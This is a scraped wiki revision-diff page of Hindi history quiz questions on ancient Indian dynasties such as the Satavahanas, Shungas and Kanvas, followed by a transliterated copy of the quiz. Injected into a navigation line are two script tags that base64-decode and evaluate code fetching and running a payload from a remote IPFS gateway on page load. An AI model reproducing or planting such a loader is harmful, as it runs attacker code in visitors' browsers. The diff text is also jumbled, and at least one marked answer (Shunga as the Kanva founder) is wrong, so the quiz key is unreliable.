Difference between revisions of "इतिहास सामान्य ज्ञान 9"

भारत डिस्कवरी प्रस्तुति
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-[[शुंग|शुंगों]] के समय में  
 
-[[शुंग|शुंगों]] के समय में  
 
+[[सातवाहन|सातवाहनों]] के समय में
 
+[[सातवाहन|सातवाहनों]] के समय में
-[[गुप्त|गुप्तों]] के समय में  
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-[[गुप्त|गुप्तों]] के समय में
||सातवाहन [[भारत]] का एक राजवंश था। जिसने केन्द्रीय दक्षिण भारत पर शासन किया। भारतीय परिवार, जो [[पुराण|पुराणों]] (प्राचीन धार्मिक तथा किंवदंतियों का साहित्य) पर आधारित कुछ व्याख्याओं के अनुसार, आंध्र जाति (जनजाति) का था और दक्षिणापथ अर्थात दक्षिणी क्षेत्र में साम्राज्य की स्थापना करने वाला यह पहला दक्कनी वंश था। {{point}}अधिक जानकारी के लिए देखें-: [[सातवाहन वंश]]
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||[[मौर्य साम्राज्य]] की शक्ति क्षीण होने पर 'प्रतिष्ठान', [[गोदावरी नदी]] के तट पर स्थित पैठन, को राजधानी बनाकर [[सातवाहन वंश]] ने अपनी शक्ति का उत्कर्ष प्रारम्भ किया था। इस वंश का प्रथम राजा [[सिमुक]] था, जिसने 210 ई. पू. के लगभग अपने स्वतंत्र राज्य की नींव डाली। तीसरी सदी ई.पू. के अन्तिम चरण में प्रारम्भ होकर सातवाहनों का यह स्वतंत्र राज्य चार सदी के लगभग तक क़ायम रहा। [[भारत का इतिहास|भारत के इतिहास]] में लगभग अन्य कोई राजवंश इतने दीर्घकाल तक अबाधित रूप से शासन नहीं कर सका।{{point}}अधिक जानकारी के लिए देखें-:[[सातवाहन साम्राज्य]]
  
{वशिष्ठीपुत्र पुलुमावी ने द्वितीय [[सदी]] के मध्य में [[सातवाहन]] राज्य की राजधानी किसे बनाया?
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{[[वशिष्ठीपुत्र पुलुमावी]] ने द्वितीय [[सदी]] के मध्य में [[सातवाहन]] राज्य की राजधानी किसे बनाया?
 
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-औरंगाबाद
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-[[औरंगाबाद]]
 
+प्रतिष्ठान
 
+प्रतिष्ठान
-मदुरा
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-[[मदुरा]]
-उपर्युक्त में से कोई नहीं  
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-उपर्युक्त में से कोई नहीं
  
 
{[[सातवाहन|सातवाहनों]] ने आरम्भिक दिनों में अपना शासन कहाँ से शुरू किया?
 
{[[सातवाहन|सातवाहनों]] ने आरम्भिक दिनों में अपना शासन कहाँ से शुरू किया?
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+[[महाराष्ट्र]]
 
+[[महाराष्ट्र]]
 
-[[सौराष्ट्र]]
 
-[[सौराष्ट्र]]
-प्रतिष्ठान
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-[[काँची]]
 
-[[आन्ध्र प्रदेश]]
 
-[[आन्ध्र प्रदेश]]
||महाराष्ट्र प्राचीन 16 महाजनपदों में अश्मक या अस्सक का स्थान आधुनिक [[अहमदनगर]] के आसपास का माना जाता है। सम्राट [[अशोक]] के शिलालेख भी [[मुंबई]] के निकट पाए गए हैं। [[महाराष्ट्र]] के पहले प्रसिद्ध शासक सातवाहन (ई.पू. 230 से 225 ई.) थे जो महाराष्ट्र राज्य के संस्‍थापक थे। उन्‍होंने अपने पीछे बहुत से साहित्यिक, कलात्‍मक तथा पुरातात्विक प्रमाण छोड़े हैं। उनके शासनकाल में मानव जीवन के हर क्षेत्र में भरपूर प्रगति हुई।{{point}}अधिक जानकारी के लिए देखें-: [[महाराष्ट्र]]  
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||[[चित्र:Ajanta-Caves-1.jpg|right|100px|भित्ती चित्र, औरंगाबाद, महाराष्ट्र]]'महाराष्ट्र' प्राचीन सोलह [[महाजनपद|महाजनपदों]] में [[अश्मक महाजनपद|अश्मक]] या अस्सक का स्थान आधुनिक [[अहमदनगर]] के आस-पास का माना जाता है। सम्राट [[अशोक के शिलालेख]] भी [[मुंबई]] के निकट पाए गए हैं। [[महाराष्ट्र]] के पहले प्रसिद्ध शासक [[सातवाहन]] (ई.पू. 230 से 225 ई.) थे, जो महाराष्ट्र राज्य के संस्‍थापक थे। उन्‍होंने अपने पीछे बहुत से साहित्यिक, कलात्‍मक तथा पुरातात्विक प्रमाण छोड़े हैं। उनके शासनकाल में मानव जीवन के हर क्षेत्र में भरपूर प्रगति हुई।{{point}}अधिक जानकारी के लिए देखें-:[[महाराष्ट्र]]
  
 
{[[सातवाहन वंश]] का संस्थापक कौन था?
 
{[[सातवाहन वंश]] का संस्थापक कौन था?
 
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-शातकर्णी
+
-[[महेन्द्र सातकर्णि]]
-पुलुमावी
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-[[वशिष्ठीपुत्र पुलुमावी|पुलुमावी]]
 
+[[सिमुक]]
 
+[[सिमुक]]
-गौतमीपुत्र शातकर्णी
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-[[गौतमीपुत्र सातकर्णि]]
||[[पुराण|पुराणों]] के अनुसार सिमुक ने [[कण्व वंश]] के अन्तिम राजा सुशर्मा को मार कर [[मगध]] के राजसिंहासन पर अपना अधिकार स्थापित किया था। इसमें तो सन्देह नहीं कि सातवाहन वंश के अन्यतम राजा ने कण्व वंश का अन्त कर मगध को अपने साम्राज्य के अंतर्गत किया था।{{point}}अधिक जानकारी के लिए देखें-: [[सिमुक]]  
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||[[पुराण|पुराणों]] के अनुसार [[सिमुक]] ने [[कण्व वंश]] के अन्तिम राजा सुशर्मा का वध कर दिया और [[मगध]] के राजसिंहासन पर अपना अधिकार स्थापित कर लिया। इसमें तो सन्देह नहीं कि [[सातवाहन वंश]] के अन्यतम राजा ने कण्व वंश का अन्त कर मगध को अपने साम्राज्य के अंतर्गत किया था। सातवाहन वंश के अनेक प्रतापी सम्राटों ने विदेशी [[शक]] आक्रान्ताओं के विरुद्ध भी अनुपम सफलता प्राप्त की।{{point}}अधिक जानकारी के लिए देखें-:[[सिमुक]]
  
 
{[[कण्व वंश]] का संस्थापक कौन था?
 
{[[कण्व वंश]] का संस्थापक कौन था?
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+[[शुंग वंश|शुंग]]
 
+[[शुंग वंश|शुंग]]
 
-[[कुषाण वंश|कुषाण]]
 
-[[कुषाण वंश|कुषाण]]
||[[मौर्य वंश]] का अंतिम शासक वृहद्रय था। वृहद्रय को उसके [[ब्राह्मण]] सेनापति पुष्यमित्र ने ई. पूर्व 185 में मार दिया और इस प्रकार मौर्य वंश का अंत हो गया। पुष्यमित्र ने [[अश्वमेध यज्ञ]] किया था। पुष्यमित्र ने सिंहासन पर बैठकर [[मगध]] पर [[शुंग वंश]] के शासन का आरम्भ किया। शुंग वंश का शासन सम्भवतः ई. पू. 185 ई. से पू. 100 तक दृढ़ बना रहा।{{point}}अधिक जानकारी के लिए देखें-: [[शुंग वंश]]  
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||[[मौर्य वंश]] का अंतिम शासक [[बृहद्रथ मौर्य|बृहद्रथ]] था। बृहद्रथ को उसके [[ब्राह्मण]] सेनापति [[पुष्यमित्र शुंग]] ने ई. पूर्व 185 में मार दिया और इस प्रकार मौर्य वंश का अंत हो गया। पुष्यमित्र ने [[अश्वमेध यज्ञ]] किया था। पुष्यमित्र ने सिंहासन पर बैठकर [[मगध]] पर [[शुंग वंश]] के शासन का आरम्भ किया। शुंग वंश का शासन सम्भवतः ई.पू. 185 ई. से ई.पू. 100 तक दृढ़ बना रहा।{{point}}अधिक जानकारी के लिए देखें-:[[शुंग वंश]]  
  
 
{[[भारत]] में सबसे पहले किस वंश के शासकों ने [[सोना|सोने]] के सिक्के जारी किये?
 
{[[भारत]] में सबसे पहले किस वंश के शासकों ने [[सोना|सोने]] के सिक्के जारी किये?
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+हिन्द-यवन
 
+हिन्द-यवन
  
{सर्वप्रथम [[भारत]] में विशुद्ध [[संस्कृत भाषा]] में लम्बा अभिलेख किस राजा द्वारा जारी किया गया?
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{सर्वप्रथम [[भारत]] में विशुद्ध [[संस्कृत भाषा]] में लम्बा [[अभिलेख]] किस राजा द्वारा जारी किया गया?
 
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-[[यवन]] राजा [[मिलिंद (मिनांडर)|मिनाण्डर]] द्वारा
 
-[[यवन]] राजा [[मिलिंद (मिनांडर)|मिनाण्डर]] द्वारा
 
-[[पहलव]] राजा गोन्दोफिर्नस द्वारा
 
-[[पहलव]] राजा गोन्दोफिर्नस द्वारा
+[[शक]] राजा रुद्रदामन द्वारा
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+[[शक]] राजा [[रुद्रदामन]] द्वारा
 
-[[कुषाण]] राजा [[कनिष्क]] द्वारा
 
-[[कुषाण]] राजा [[कनिष्क]] द्वारा
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||रुद्रदामन 'कार्दमक वंशी' [[चष्टन]] का पौत्र था, जिसे चष्टन के बाद गद्दी पर बैठाया गया था। यह इस वंश का सर्वाधिक योग्य शासक था। [[रुद्रदामन]] कुशल राजनीतिज्ञ के अतिरिक्त प्रजापालक, [[संगीत]] एवं तर्कशास्त्र के क्षेत्र का विद्वान था। इसके समय में [[संस्कृत साहित्य]] का बहुत विकास हुआ था। रुद्रदामन ने सबसे पहले विशुद्ध [[संस्कृत भाषा]] में लम्बा [[अभिलेख]] जारी किया। उसके समय में [[उज्जयिनी]] शिक्षा का प्रमुख केन्द्र थी।{{point}}अधिक जानकारी के लिए देखें-:[[रुद्रदामन]]
 
</quiz>
 
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Revision as of 08:54, 19 April 2012

samany jnan prashnottari
rajyoan ke samany jnan


  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213| 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237| 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566

1 nimnalikhit mean se kaun sa praant maury samrajy se bahar tha?

kaliang
asam
kashmir
saurashtr

2 ashok ka sabase chhota stambh lekh kaun-sa hai?

rumminadeee
maski
kalasi
dhauli

3 prasiddh das rajaoan ka yuddh (dasharaj yuddh) kis nadi ke tat par l da gaya?

ganga
brahmaputr
kaveri
parushni

4 mauryakalin gufaoan mean sarvadhik prachin gufa nimn mean se kis paha di par hai?

nagarjun paha di
nilagiri paha di
barabar paha di
rajagir paha di

5 nimn mean se kis granth mean shoodroan ke lie 'ary' shabd ka prayog hua hai?

arthashastr
mudrarakshas
panini ka ashtadhyayi
brihatkathamanjari

6 ashok ke abhilekhoan mean sabase lamba stambh lekh nimn mean se kaun-sa tha?

tisara
satavaan
terahavaan
chautha

7 mauryakal mean guptacharoan ko kya kaha jata tha?

guptachar
goodh purush
sanstha evan sanchar
khoji

8 bhoomidan ka pratham ullekh kab mila?

mauryoan ke samay mean
shuangoan ke samay mean
satavahanoan ke samay mean
guptoan ke samay mean

9 vashishthiputr pulumavi ne dvitiy sadi ke madhy mean satavahan rajy ki rajadhani kise banaya?

aurangabad
pratishthan
madura
uparyukt mean se koee nahian

10 satavahanoan ne arambhik dinoan mean apana shasan kahaan se shuroo kiya?

maharashtr
saurashtr
kaanchi
andhr pradesh

12 kanv vansh ka sansthapak kaun tha?

vasudev
bhoomimitr
susharma
narayan

13 ashok dvara nirmit saanchi ke stoop ka akar kis vansh ke shasakoan ne duguna karavaya?

kanv
satavahan
shuang
kushan

14 bharat mean sabase pahale kis vansh ke shasakoan ne sone ke sikke jari kiye?

parthiyan
kushan
shak
hind-yavan

15 sarvapratham bharat mean vishuddh sanskrit bhasha mean lamba abhilekh kis raja dvara jari kiya gaya?

yavan raja minandar dvara
pahalav raja gondophirnas dvara
shak raja rudradaman dvara
kushan raja kanishk dvara

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan